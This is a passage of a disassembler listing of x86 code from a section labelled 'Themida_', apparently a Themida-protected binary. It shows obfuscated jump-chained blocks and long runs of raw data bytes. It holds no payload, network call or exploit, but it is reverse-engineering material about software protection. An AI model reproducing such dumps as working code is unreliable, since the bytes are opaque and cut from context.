		dd 0C6012914h, 5C63EE81h, 31582914h, 60F1E9F5h,	0C4810000h
		dd 4, 73ECEB81h, 79E90946h, 59FFFF37h, 4C481h, 83E90000h
		dd 81000080h, 0FFFFFFEAh, 451368FFh, 3BE90000h,	41000036h
		dd 370ABD55h, 0E5816C6Fh, 331D2BE7h, 752DF581h,	0E901489Eh
		dd 0E9D9F75Dh, 0FFFFB862h, 8704EF83h, 895C243Ch, 4FF240Ch
		dd 240C8B24h, 4C481h, 0BE560000h, 6CC85A0Fh, 0E95EF129h
		dd 0FFFF8213h, 99B9515Ch, 0E93DB275h, 0FFFFACB2h
; ---------------------------------------------------------------------------


loc_55D330:				; CODE XREF: Themida_:00562F64j
		xor	ecx, [esp]
		jmp	loc_55BE76
; ---------------------------------------------------------------------------


loc_55D338:				; CODE XREF: Themida_:0056486Cj
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55B21E
; ---------------------------------------------------------------------------


loc_55D348:				; CODE XREF: Themida_:00559A0Fj
		add	esp, 4
		sub	edi, 6102C6C2h
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_55CFD4
		push	476Dh
		mov	[esp], eax
		push	esi
		mov	esi, 1Ch
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55EE76
; ---------------------------------------------------------------------------


loc_55D380:				; CODE XREF: Themida_:0055B14Ej
		xor	ecx, 0CC4A836Dh
		jmp	loc_55984D
; ---------------------------------------------------------------------------


loc_55D38B:				; CODE XREF: Themida_:0055EE91j
		sub	eax, 54A30B71h
		jmp	loc_56037E
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 57000000h, 8989E954h, 1CF7FFFFh, 0D2F75A24h,	27E9DAF7h
		dd 51FFFFF8h, 0FF7D40E9h, 4EF81FFh, 0E9000000h,	0FFFFACD7h
		dd 4C481h, 0E9580000h, 8163h
; ---------------------------------------------------------------------------


loc_55D3CC:				; CODE XREF: Themida_:0055A363j
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5605B2
; ---------------------------------------------------------------------------
		dd 46852h, 0CAE90000h, 81000048h, 460980C7h, 8BFE01AAh
		dd 68E9243Ch
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D3FF:				; CODE XREF: Themida_:00550112j
		add	edx, 76F83BEFh
		mov	ebp, edx
		jmp	loc_55EB9E
; ---------------------------------------------------------------------------
		dd 0E904C483h, 0FFFF2B03h, 2BFh, 0BB8E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D41E:				; CODE XREF: Themida_:00560E09j
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_55C738
; ---------------------------------------------------------------------------


loc_55D42C:				; CODE XREF: Themida_:00564822j
		not	eax
		sub	eax, 9AFE0AC0h
		jmp	loc_55F0F2
; ---------------------------------------------------------------------------
		dd 21F4E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D43E:				; CODE XREF: Themida_:00564B8Bj
		sub	dl, 0C1h
		add	ch, dl
		jmp	loc_55380C
; ---------------------------------------------------------------------------
		dd 4C781h, 0EF810000h, 4, 5C243C87h, 0FF242C89h, 5D042474h
		dd 8B24048Fh, 89532424h, 4C381E3h, 50000000h, 8F3870B8h
		dd 6636250Bh, 0FFE95A2Fh, 89000057h, 0BA5250E2h, 1AD730A1h
		dd 68B9CA81h, 0EAD10C71h, 35BDE9h
		db 0
; ---------------------------------------------------------------------------


loc_55D495:				; CODE XREF: Themida_:00554AFEj
		sub	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55C8CF
; ---------------------------------------------------------------------------
		db 1, 0D8h, 5Bh
		dd 4358C389h, 0B4C1BA52h, 0BDE9B196h, 59FFFFF8h, 5C24048Fh
		dd 2F13E9h, 0C3805A00h,	0A176E9AEh, 5B3FFFFh, 5B66D828h
		dd 8B2434FFh, 0C481240Ch, 4, 4C481h, 9D680000h,	89000046h
		dd 65E9240Ch
		db 0EEh, 2 dup(0FFh)
byte_55D4EF	db 66h			; DATA XREF: Themida_:0054FE18o
		dd 68240C8Bh, 7177h, 54241489h,	0BB53515Ah, 14613248h
		dd 431ECB81h, 0F3817500h, 7561735Ah, 555BD989h,	469EDBDh
		dd 0DBF7E90Eh, 525AFFFFh, 0FF498BE9h, 5FF901FFh, 0FAE9D101h
		dd 8BFFFF33h, 2AE92414h, 58FFFF41h, 2C781h, 0FF570000h
		dd 8B042474h, 38E9243Ch, 3100001Ah, 0F5815AD5h,	0CCE5FE3Dh
		dd 89EF8957h, 10A1E9FBh, 68500000h, 185068FBh, 15BD5558h
		dd 684A2B7Eh, 465Fh, 0B9240C89h, 0
		dd 0CD87E929h, 0C5814D59h, 9D6BD41Ch, 34C2E9h, 4C48300h
		dd 34E3C281h, 0FA0118F9h, 34E3B951h, 0CA2918F9h, 243C8B59h
		dd 4C481h, 14330000h, 24143124h, 7653E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D5B1:				; CODE XREF: Themida_:005642A6j
		push	dword ptr [esp+4]
		jmp	loc_55C992
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FF959BE9h, 0EAF181FFh, 89B6B2EBh, 1522E9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D5D2:				; CODE XREF: Themida_:0055438Dj
		push	ebx
		push	edi
		jmp	loc_552E2B
; ---------------------------------------------------------------------------
		db 58h,	4Dh, 0F7h
		dd 0F5814DD5h, 489B73ADh, 7CF6ED81h, 0EE01CD51h, 24048B5Dh
		dd 4C481h, 67E90000h, 89000028h, 525352E0h, 6D6037BAh
		dd 0EDEA815Ch, 0E973EA45h, 252Dh, 2414F757h, 0FFB378E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D619:				; CODE XREF: Themida_:0055937Ej
		pop	edi
		and	eax, 9046EB0h
		jmp	loc_5544D3
; ---------------------------------------------------------------------------
		dd 228FCB81h, 0DBF77312h, 0DAF3814Bh, 89EEADD1h, 0CF815BDFh
		dd 0D3378B0h, 2D86E781h, 0DFF73C04h, 3461E9h, 31B35300h
		dd 88DC8850h, 1C8B58E5h, 94EAE924h, 1C89FFFFh, 1C8B5424h
		dd 2AEDE924h, 5B540000h, 0E3E95255h, 0C1FFFF4Ch, 0CA8103EAh
		dd 5A2EFAh, 0EA81D2F7h,	0FAB29DE3h, 148BD701h, 4C48124h
		dd 81000000h, 7F3D74C7h, 81D70101h, 7F3D74EFh, 1EBE5601h
		dd 8104D272h, 731663C7h, 81F72925h, 731663EFh, 875A5E25h
		dd 248B243Ch, 0B8E2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D6BA:				; CODE XREF: Themida_:005644B6j
		mov	[esp], eax
		mov	eax, 4DF67BE6h
		push	ebx
		sub	esp, 4
		jmp	loc_553618
; ---------------------------------------------------------------------------


loc_55D6CE:				; CODE XREF: Themida_:0055AEB1j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		jmp	loc_55B28C
; ---------------------------------------------------------------------------
		db 83h
		dd 11E904C0h, 50FFFFD6h, 405E089h, 2D000000h, 4, 1EC4E9h
		dd 18ED8100h, 1E4242Ch,	53555DEBh, 27B18BBh, 3A41E976h
		db 2 dup(0FFh)
word_55D70E	dw 77FFh		; DATA XREF: Themida_:0054FE20o
		dd 58669D1Ch, 9C240418h, 0FF27FAE9h, 0E08950FFh, 405h
		dd 42D00h, 4870000h, 0ADE95C24h, 0E9000042h, 0FFFF27DFh
; ---------------------------------------------------------------------------


loc_55D738:				; CODE XREF: Themida_:0056483Aj
		mov	edi, 4B265B85h
		jmp	loc_5566B0
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 0FFFFD2A5h, 99E95166h, 81FFFF8Ah, 4C7h, 4C78100h, 87000000h
		dd 2FE9243Ch, 89FFFF92h, 0EC81241Ch, 2,	240C8966h, 885001B1h
		dd 0FFE788CCh, 48B2434h, 4C48324h, 4C481h, 59660000h, 0B2525366h
		dd 0A5BEE922h, 429FFFFh, 7CE99C24h, 83FFFF27h, 348704EEh
		dd 24248B24h, 68241489h, 2281h,	81242489h, 42404h, 0E95A0000h
		dd 597Ah, 4EC81h, 3C890000h, 0E8B95124h, 81057836h, 0EB7DB6F1h
		dd 59CF890Ch, 16F3B850h, 0C729CC69h, 8BFB2958h,	0C481243Ch
		dd 4, 8CE9C329h, 4FFFF74h, 0E9C728E4h, 0FFFF6CB1h, 31240C33h
		dd 0C33240Ch, 89665C24h, 0CE92404h, 68FFFF27h, 4C82h, 782DE9h
		db 0
; ---------------------------------------------------------------------------


loc_55D815:				; CODE XREF: Themida_:0054FF7Bj
		push	5038h
		jmp	loc_5632EF
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0E9E78957h, 0FFFF4803h, 83241C8Bh, 48F04C4h,	24248B24h
		dd 4EC81h, 80E90000h, 900005Bh,	0C58158C5h, 398439DDh
		dd 0D57FF581h, 0EB091BDEh, 0FF87A4E9h, 56853FFh, 0E918AD43h
		dd 0FFFFF335h
; ---------------------------------------------------------------------------


loc_55D860:				; CODE XREF: Themida_:0056157Dj
		add	ebx, 4
		push	ecx
		mov	ecx, 250A7755h
		shl	ecx, 6
		jmp	loc_553159
; ---------------------------------------------------------------------------
		dd 5F2434FFh, 4C481h, 0C8010000h, 323B1405h, 240C8B42h
		dd 4C481h, 0CD050000h, 29796709h, 0BB5352D8h, 187A6790h
		dd 3D37EB81h, 8DE9378Dh, 8B000071h, 0C3682414h,	89000000h
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		sub	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_565233
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 241C8700h, 5FB5E95Ch, 1FBE0000h, 46214A2Bh, 1FCE8146h
		dd 0E92DDC37h, 0FFFFBC76h, 1F73CFB9h, 0FFE9816Ch, 81FFFFFFh
		dd 0AB49B2F1h, 66F18161h, 291C0653h, 815E59C8h,	0C009BBC3h
		dd 63BF5734h, 0E9394657h, 3C38h, 6802EBC1h, 0B65h, 51240489h
		dd 8142FBB9h, 0E471B87Eh, 0DEE9AFE1h, 81FFFFB5h, 54977CC5h
		dd 0D776E93Fh, 0C181FFFFh, 4, 0FFF149E9h, 241C89FFh, 0FFAD19E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D955:				; CODE XREF: Themida_:0055629Dj
		pop	edi
		push	edi
		jmp	loc_5590D6
; ---------------------------------------------------------------------------
		dd 0FF25B6E9h, 6408B8FFh, 0E6E91F10h, 0BFFFFF4Dh, 5A797241h
		dd 0E7D1DFF7h, 0EEDBEF81h, 0FA891CFFh, 0A7F2815Fh, 522E0D2Ch
		dd 533CC0BAh, 37BF574Ah, 477A2600h, 0BE15C781h,	0FA296B56h
		dd 4B0EE95Fh, 0C3810000h, 5560272Ah, 5624048Bh,	0FF46C2E9h
		dd 0AC62BBFFh, 0DA01FF0Eh, 0AC23E95Bh, 0EEC1FFFFh, 0EE814E02h
		dd 7ECB0058h, 0F5E9DEF7h
		db 8Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D9CB:				; CODE XREF: Themida_:0056325Ej
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		mov	edx, [esp]
		jmp	loc_563F2C
; ---------------------------------------------------------------------------
		dd 0EFD4E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D9E2:				; CODE XREF: Themida_:00553DC7j
		mov	edi, 47F11CBFh
		mov	ebx, edi
		pop	edi
		shr	ebx, 6
		shl	ebx, 1
		push	eax
		sub	esp, 4
		mov	[esp], ecx
		push	5F7F2A40h
		pop	ecx
		add	ecx, 0B9A61191h
		push	ecx
		pop	eax
		pop	ecx
		push	eax
		mov	eax, 7EBD6DC4h
		sub	eax, 65DC514Fh
		or	eax, 7787077Eh
		shl	eax, 5
		xor	eax, 52276E37h
		add	eax, 732B7E11h
		jmp	loc_557596
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 4, 5C242C87h, 9C240CFFh, 0FF24DAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DA3D:				; CODE XREF: Themida_:0055BE92j
		add	ebx, 4
		jmp	loc_563D2E
; ---------------------------------------------------------------------------
		dd 41C5C181h, 0E90120F3h, 0D015E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DA56:				; CODE XREF: Themida_:0056463Fj
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_556EFA
; ---------------------------------------------------------------------------


loc_55DA64:				; CODE XREF: Themida_:0056281Fj
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_551C92
; ---------------------------------------------------------------------------
byte_55DA6D	db 56h,	89h, 0E6h	; DATA XREF: Themida_:0054FE84o
		dd 4C681h, 68550000h, 0DB802DEh, 0EDD1455Dh, 0FF5F64E9h
		dd 241433FFh, 287BE95Ch, 0E2890000h, 4C281h, 3EE90000h
		dd 0F7FFFF49h, 53582414h, 962D45BBh, 0E9D8095Eh, 0FFFFF75Fh
		dd 54486866h, 81665E66h, 667638F6h, 0E95EF389h,	12E9h
		dd 0C15EF209h, 0B95103EAh, 55AB4694h, 8159CA29h, 1F67E0EAh
		dd 0E9D701B2h, 0FFFF52E5h, 3E48EF81h, 0F8016549h, 0E689565Fh
		dd 0FFAE70E9h, 24148BFFh, 4C481h, 55570000h, 9B1FC5BDh
		dd 8DED812Fh, 0E92C702Ch, 512Eh, 2771EE81h, 0DE015B81h
		dd 2771C681h, 0D3E95B81h, 0FFFFFF7Dh, 2FE92434h, 52FFFF3Eh
		dd 0FFFA35E9h, 60F8BDFFh, 0C0E905EAh, 4800001Eh, 0E0C1D0F7h
		dd 63F02D04h, 0F2E94E38h, 8100004Eh, 4042444h, 12E785Bh
		dd 5604246Ch, 785B04BEh, 2474292Eh, 44815E08h, 8F90424h
		dd 0E9560BC2h, 0FFFF242Ch, 0AAA1685Dh, 295B569Ch, 24048BC3h
		dd 5204C483h, 0B31C2EBAh, 6C14E91Ch, 0E3C0FFFFh, 0B4CB8006h
		dd 0C380DBF6h, 0E9DE00ADh, 0FFFF8D9Fh
; ---------------------------------------------------------------------------


loc_55DB94:				; CODE XREF: Themida_:0055E41Bj
		push	1A25946h
		mov	edx, [esp]
		jmp	loc_5567A4
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 28000000h, 241C8BDAh, 3004C483h, 54555AD1h, 0DB22E95Dh
		dd 895CFFFFh, 0B9240Ch,	1000000h, 8B0188D1h, 0EC83240Ch
		dd 243C8904h, 0E9555F54h, 710Fh, 835DEF01h, 0FF5704C7h
		dd 5F042474h, 0FF9B3DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DBE9:				; CODE XREF: Themida_:00554E47j
		sub	eax, edi
		pop	edi
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		jmp	loc_55C924
; ---------------------------------------------------------------------------
		db 89h
		dd 0E0892404h, 0FF6DEFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DC01:				; CODE XREF: Themida_:00552EC1j
		pop	edx
		add	dword ptr [esp+4], 36B00316h
		add	dword ptr [esp+4], 4B373EC6h
		jmp	loc_560B08
; ---------------------------------------------------------------------------
		db 87h
		dd 835C2434h, 3C3304C7h, 243C3124h, 8B243C33h, 0B70F2424h
		dd 23BC68C8h, 14890000h, 9EE95424h, 31FFFF9Bh, 0CB015EF1h
		dd 0EDE95659h, 81FFFF27h, 0EAA133F1h, 8BC801D2h, 0C481240Ch
		dd 4, 8124348Bh, 4C4h, 4EC8300h, 6F6BE9h
		db 0
; ---------------------------------------------------------------------------


loc_55DC69:				; CODE XREF: Themida_:00564EDFj
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_551402
; ---------------------------------------------------------------------------
		dd 229DE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DC7A:				; CODE XREF: Themida_:0055B2B6j
		pop	ebx
		sub	edi, ebp
		jmp	loc_559A0C
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 4, 0E9EF8957h, 0FFFF7372h, 242C8155h, 4B6D013Dh, 81240C8Bh
		dd 4C4h, 0A8BE5600h, 8179754Fh,	0F7B195C6h, 5EF101D1h
		dd 0FFE8ECE9h
		db 0FFh
byte_55DCB5	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0054FD8Co
		dd 54505224h, 40558h, 42D0000h,	87000000h, 248B2404h, 24248924h
		dd 528D68h, 241C8900h, 4BBh, 245C0100h,	148B5B04h, 4EC8324h
		dd 0FF283DE9h, 0D2F74AFFh, 0E94ADAF7h, 0C3Fh
; ---------------------------------------------------------------------------


loc_55DCF8:				; CODE XREF: Themida_:00552701j
		div	cx
		jmp	loc_5561B1
; ---------------------------------------------------------------------------
		dd 241C875Fh, 824248Bh,	0E99C2404h, 0FFFF2207h,	5DEA895Fh
		dd 8904EC83h, 17BE2434h, 8113CA05h, 0C7046DE6h,	0E6D14620h
		dd 3635E681h, 814E4B98h, 2BACF1EEh, 0FD86E9E5h,	431FFFFh
		dd 21D5E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DD42:				; CODE XREF: Themida_:0055FC74j
		add	ecx, 4
		push	ebp
		mov	ebp, 4
		sub	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	0FEh
		push	dword ptr [esp]
		jmp	loc_55FA0A
; ---------------------------------------------------------------------------
		db 51h
		dd 0CD787EB9h, 59CD090Ch, 6195E9h, 4EDC000h, 804AED80h
		dd 0E828E4C5h, 50240C8Bh, 0FF38B3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DD89:				; CODE XREF: Themida_:00564F81j
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		shr	eax, 8
		xor	eax, ecx
		push	4D7Ch
		mov	[esp], eax
		xchg	ecx, [esp]
		jmp	loc_556764
; ---------------------------------------------------------------------------
		dw 5D5Fh
		dd 48BC389h, 4C48324h, 473BCB81h, 0F381439Bh, 6A1161A7h
		dd 65A2BD55h, 30E94920h, 81000075h, 0F743C9EEh,	7436E901h
		dd 89500000h, 0A5AE9E0h, 4BB0000h, 0E9000000h, 0FFFF93F3h
		dd 965EF029h, 49919646h, 11BF5791h, 0E93C5A53h,	1A81h
		dd 0E9FFE835h, 58C10157h, 7E186855h, 34890000h,	1B246824h
		dd 348B0E75h, 5A545224h, 4BD55h, 0EA010000h, 4341E95Dh
		dd 0CB89FFFFh, 70F38159h, 0E91ECA6Fh, 5538h, 0B1C2815Fh
		dd 81655520h, 75D7A4F2h, 5AD5014Fh, 0FFBC7BE9h,	0E9C329FFh
		dd 52D9h, 4C481h, 39E90000h, 33000064h,	0E95C2404h, 0FFFFE665h
		dd 65AEEB81h, 0DBF73B19h, 22F7C381h, 0D8294A8Fh, 0FF309DE9h
		dd 0F7454DFFh, 2EE957DDh, 5C00004Fh, 68240C89h,	5342h
		dd 51243C89h, 0CF89F189h, 0E9240C8Bh, 2009h, 0BD2DD801h
		dd 5B0F9C79h, 72AB68h, 24148900h, 370BE9h
		db 0
; ---------------------------------------------------------------------------


loc_55DEAD:				; CODE XREF: Themida_:0055A5E9j
		sub	edx, eax
		mov	eax, edx
		pop	edx
		push	edx
		mov	edx, 59156E21h
		sub	edx, 0BFA164Bh
		jmp	loc_559D38
; ---------------------------------------------------------------------------
byte_55DEC3	db 0FFh			; DATA XREF: Themida_:0054FC3Co
		dd 3DE92434h, 81FFFF37h, 732C2434h, 2C8B2827h, 4C48324h
		dd 732CF581h, 48B2827h,	4C48324h, 0FFC5834Dh, 0E9DDF745h
		dd 0FFFFDAD6h, 266068h,	267BE900h, 48F0000h, 0D8285C24h
		dd 34FFA904h, 4E80E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DF0A:				; CODE XREF: Themida_:0055BBFCj
		mov	[esp], ebx
		push	ebx
		push	eax
		push	ebx
		mov	ebx, 1C0804EFh
		push	ebx
		pop	eax
		pop	ebx
		mov	ebx, eax
		mov	eax, [esp]
		push	4F09h
		jmp	loc_552E7A
; ---------------------------------------------------------------------------
		dd offset dword_568568
		align 4
		dd 0BD242C89h, 0C40E0A21h, 6FE9E929h, 31000013h, 6E958C3h
		db 29h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DF43:				; CODE XREF: Themida_:005562C7j
		mov	eax, ebx
		pop	ebx
		jmp	loc_558B12
; ---------------------------------------------------------------------------
		db 55h
		dd 4BDh, 5DEE0100h, 0F4685653h,	5E7BA335h, 0FFC8FEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DF61:				; CODE XREF: Themida_:0055F7BCj
		sub	esp, 4
		jmp	loc_563DFB
; ---------------------------------------------------------------------------


loc_55DF6C:				; CODE XREF: Themida_:005529A0j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_563F59
; ---------------------------------------------------------------------------
aBaH0		db 'í[H0',0
		db 59h
		dd 0FFA28DE9h, 5E089FFh, 4, 0E904C083h,	0FFFF3DA4h, 8005E5C0h
		dd 0EDC0BFC5h, 52CDFE03h, 0C280CCB2h, 5AD530CBh, 0E959E828h
		dd 0FFFF6215h, 4C681h, 34870000h, 87BF5C24h, 18ABFD5h
		dd 242C8BEFh, 104C483h,	2C335FFDh, 56C5E924h, 0C2810000h
		dd 3B7C34CEh, 0EA81FA01h, 3B7C34CEh, 2414875Fh,	0FFB200E9h
		dd 38E95BFFh, 5AFFFF33h, 0C8BCB29h, 2953E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DFFE:				; CODE XREF: Themida_:0055036Aj
		sub	edx, 6E6475D6h
		push	ebp
		mov	ebp, 3E421A82h
		xchg	eax, ebp
		jmp	loc_561401
; ---------------------------------------------------------------------------
		dd 1E685E54h, 8900004Ch, 0ED682414h, 89000004h,	0EFBE2434h
		dd 0E90C475Dh, 0FFFF2CAEh, 4C4FED81h, 0EE01757Fh, 5EF3315Dh
		dd 3060E951h, 0E95CFFFFh, 0FFFF48E6h, 685A5452h, 5022h
		dd 0FF6004E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E051:				; CODE XREF: Themida_:00562AE9j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		jmp	loc_561074
; ---------------------------------------------------------------------------
		db 31h,	4, 24h
		dd 5C240433h, 24048B66h, 4EC8156h, 89000000h, 0B8502424h
		dd 4, 4244401h,	2434FF58h, 4C4815Eh, 51000000h,	6F163BB9h
		dd 0DFBE564Ch, 9618109h, 52505EF1h, 80720CBAh, 5AD08921h
		dd 92A4E955h, 3C89FFFFh, 95D0E924h, 0D829FFFFh,	8330B72Dh
		dd 0BDBB537Eh, 29164634h, 5252E9D8h, 0FD880000h, 5152665Bh
		dd 0EE8830B5h, 53240C8Bh, 0C381E389h, 4, 8704C383h, 305C241Ch
		dd 525A66F5h, 2CFDE9h, 0CFF58100h, 89559274h, 0EEC15DEEh
		dd 814E4607h, 0EA75E0F6h, 81D6F721h, 21E9BEEh, 0F6814E27h
		dd 76BD69DEh, 8106EEC1h, 75FB86F6h, 5EF7299Ch, 315FFB29h
		dd 77FDE9C2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E12A:				; CODE XREF: Themida_:00555F5Fj
		push	ebp
		push	edi
		jmp	loc_5605C1
; ---------------------------------------------------------------------------
		db 0BBh, 0FFh, 6Fh
		dd 0DA297598h, 2C2E95Bh, 0C4830000h, 0A3C68104h, 57793A61h
		dd 9E5C20BFh, 5FFE0182h, 0FF8776E9h, 86EE80FFh,	30CDC680h
		dd 24148BF3h, 0FFFA3CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E165:				; CODE XREF: Themida_:0055E19Ej
		push	ecx
		mov	ecx, 0A4B40C85h
		sub	eax, ecx
		pop	ecx
		mov	ebp, eax
		jmp	loc_56191F
; ---------------------------------------------------------------------------
		db 89h,	0C3h, 58h
		dd 9C2C76B9h, 0E1D1495Dh, 0FF8F21E9h, 5DEA29FFh, 0FF2831E9h
		dd 2434FFFFh, 4C4835Eh,	51E38953h, 3970E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E19D:				; CODE XREF: Themida_:00550F71j
		inc	eax
		jmp	loc_55E165
; ---------------------------------------------------------------------------
		db 68h
		dd 224Ch, 0E9241489h, 0FFFFE6AFh
; ---------------------------------------------------------------------------


loc_55E1B0:				; CODE XREF: Themida_:0055302Dj
		push	esi
		mov	esi, 9B3CE09Ch
		xor	ebx, esi
		pop	esi
		jmp	loc_555B98
; ---------------------------------------------------------------------------
		dw 5A5Fh
		dd 0FF1D52E9h, 0F30159FFh, 8124348Bh, 4C4h, 0E2D6800h
		dd 1C890000h, 2474FF24h, 48F5B04h, 402D5C24h, 8320679Eh
		dd 16E904ECh
		db 64h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E1EF:				; CODE XREF: Themida_:00561C15j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55D217
; ---------------------------------------------------------------------------
		db 5Ah,	59h, 0E9h
		dd 1C2Fh
; ---------------------------------------------------------------------------


loc_55E204:				; CODE XREF: Themida_:0055713Ej
		mov	ebx, [esp]
		add	esp, 4
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_556429
; ---------------------------------------------------------------------------


loc_55E21A:				; CODE XREF: Themida_:00563ABDj
		sub	eax, 6D734FFBh
		add	ecx, eax
		pop	eax
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_563322
; ---------------------------------------------------------------------------


loc_55E24E:				; CODE XREF: Themida_:0055E984j
		pop	ecx
		push	eax
		push	esi
		mov	esi, 7F153F7Fh
		dec	esi
		not	esi
		jmp	loc_562DC2
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48324h, 80E8B353h,	0C3FE97CBh, 0F380C3FEh,	54CE6848h
		dd 3C890000h, 81E78924h, 4C7h, 8E00E900h, 0BF57FFFFh, 1BD21543h
		dd 815FFD31h, 124D94C5h, 3B212D38h, 0E8293556h,	563B2105h
		dd 0BF575D35h, 4B941888h, 3C8BF829h, 4C48324h, 4EC81h
		dd 0C890000h, 2CF56824h, 20E90000h
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E2C3:				; CODE XREF: Themida_:00551485j
		add	esp, 4
		neg	ebx
		jmp	loc_560785
; ---------------------------------------------------------------------------
		db 80h,	0C9h, 5Ch
		dd 8004E9C0h, 0A0E9C1C9h, 4300003Dh, 0C102E3C1h, 0EBC103EBh
		dd 0FCC38103h, 0E9FF2878h, 0FFFF417Ch, 3BBE56h,	0F2890EEDh
		dd 0E9D3295Eh, 0FFFF7CCDh, 0B5F68146h, 8965C34Ch, 0FA015EF7h
		dd 0D7B8505Fh, 83432D2Ch, 348904ECh, 53F2BE24h,	0EEC10EBDh
		dd 0D7F1E907h, 1E68FFFFh, 89000032h, 25E9240Ch,	5C000015h
		dd 24048F54h, 4BA52h, 54010000h, 31E90424h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E347:				; CODE XREF: Themida_:005524FCj
		push	ecx
		inc	dword ptr [esp]
		pop	ecx
		sub	ecx, 48971A4Dh
		add	ecx, 52B90739h
		and	ecx, 534E31FBh
		jmp	loc_55E976
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0B9E92404h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E36B:				; CODE XREF: Themida_:00556044j
		neg	ecx
		add	ecx, 0BE9C514Fh
		jmp	loc_55BF63
; ---------------------------------------------------------------------------


loc_55E378:				; CODE XREF: Themida_:00551F80j
		sub	eax, 0A774DFE2h
		xor	esi, eax
		pop	eax
		mov	edi, [esp]
		jmp	loc_55E8D8
; ---------------------------------------------------------------------------
		dd 0E95AF588h, 5732h
; ---------------------------------------------------------------------------


loc_55E390:				; CODE XREF: Themida_:0055A85Aj
		push	4216h
		mov	[esp], edi
		mov	edi, 38EA2C28h
		push	esi
		push	7D9340D8h
		jmp	loc_552301
; ---------------------------------------------------------------------------
		dd 3C8BF921h, 5C42E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E3B2:				; CODE XREF: Themida_:00550E4Fj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55936B
; ---------------------------------------------------------------------------
		dw 481h
		dd 424h, 0C5815D00h, 4,	4C581h,	2C330000h, 242C3124h, 8B242C33h
		dd 0AFE92424h
		db 0F3h, 2 dup(0FFh)
aNh4		db '­h4+',0             ; DATA XREF: Themida_:0054FE14o
		dd 241C8900h, 4EC81h, 0C890000h, 1A9C6824h, 0E95920FAh
		dd 5ADEh, 0E95AD089h, 0FFFFB3B9h
; ---------------------------------------------------------------------------


loc_55E408:				; CODE XREF: Themida_:0055EC2Ej
		mov	ebx, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		push	ebx
		push	ecx
		mov	ecx, 60894EACh
		push	edi
		push	edx
